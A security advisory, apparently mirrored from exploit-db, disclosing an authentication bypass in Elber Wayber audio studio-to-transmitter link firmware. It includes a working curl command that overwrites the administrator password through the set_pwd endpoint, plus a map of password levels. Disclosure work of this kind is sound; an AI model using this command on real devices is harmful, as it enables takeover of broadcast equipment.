Elber Wayber Analog/Digital Audio STL 4.00 – Authentication Bypass

  • 作者: LiquidWorm
    日期: 2024-08-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/52071/
  • Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass
    
    
    Vendor: Elber S.r.l.
    Product web page: https://www.elber.it
    Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
    Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
    Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
    Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
    Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
    Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
    Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)
    
    Summary: Wayber II is the name of an analogue/digital microwave link
    able to transport a Mono or a MPX stereo signal from studio to audio
    transmitter. Compact and reliable, it features very high quality and
    modern technology both in signal processing and microwave section leading
    to outstanding performances.
    
    Desc: The device suffers from an authentication bypass vulnerability through
    a direct and unauthorized access to the password management functionality. The
    issue allows attackers to bypass authentication by manipulating the set_pwd
    endpoint that enables them to overwrite the password of any user within the
    system. This grants unauthorized and administrative access to protected areas
    of the application compromising the device's system security.
    
    --------------------------------------------------------------------------
    /modules/pwd.html
    ------------------
    50: function apply_pwd(level, pwd)
    51: {
    52: 	$.get("json_data/set_pwd", {lev:level, pass:pwd},
    53: 	function(data){
    54: 		//$.alert({title:'Operation',text:data});
    55: 		show_message(data);
    56: 	}).fail(function(error){
    57: 		show_message('Error ' + error.status, 'error');
    58: 	});
    59: }
    
    --------------------------------------------------------------------------
    
    Tested on: NBFM Controller
     embOS/IP
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2024-5822
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php
    
    
    18.08.2023
    
    --
    
    
    $ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234
    
    Ref (lev param):
    
    Level 7 = SNMP Write Community (snmp_write_pwd)
    Level 6 = SNMP Read Community (snmp_read_pwd)
    Level 5 = Custom Password? hidden. (custom_pwd)
    Level 4 = Display Password (display_pwd)?
    Level 2 = Administrator Password (admin_pwd)
    Level 1 = Super User Password (puser_pwd)
    Level 0 = User Password (user_pwd)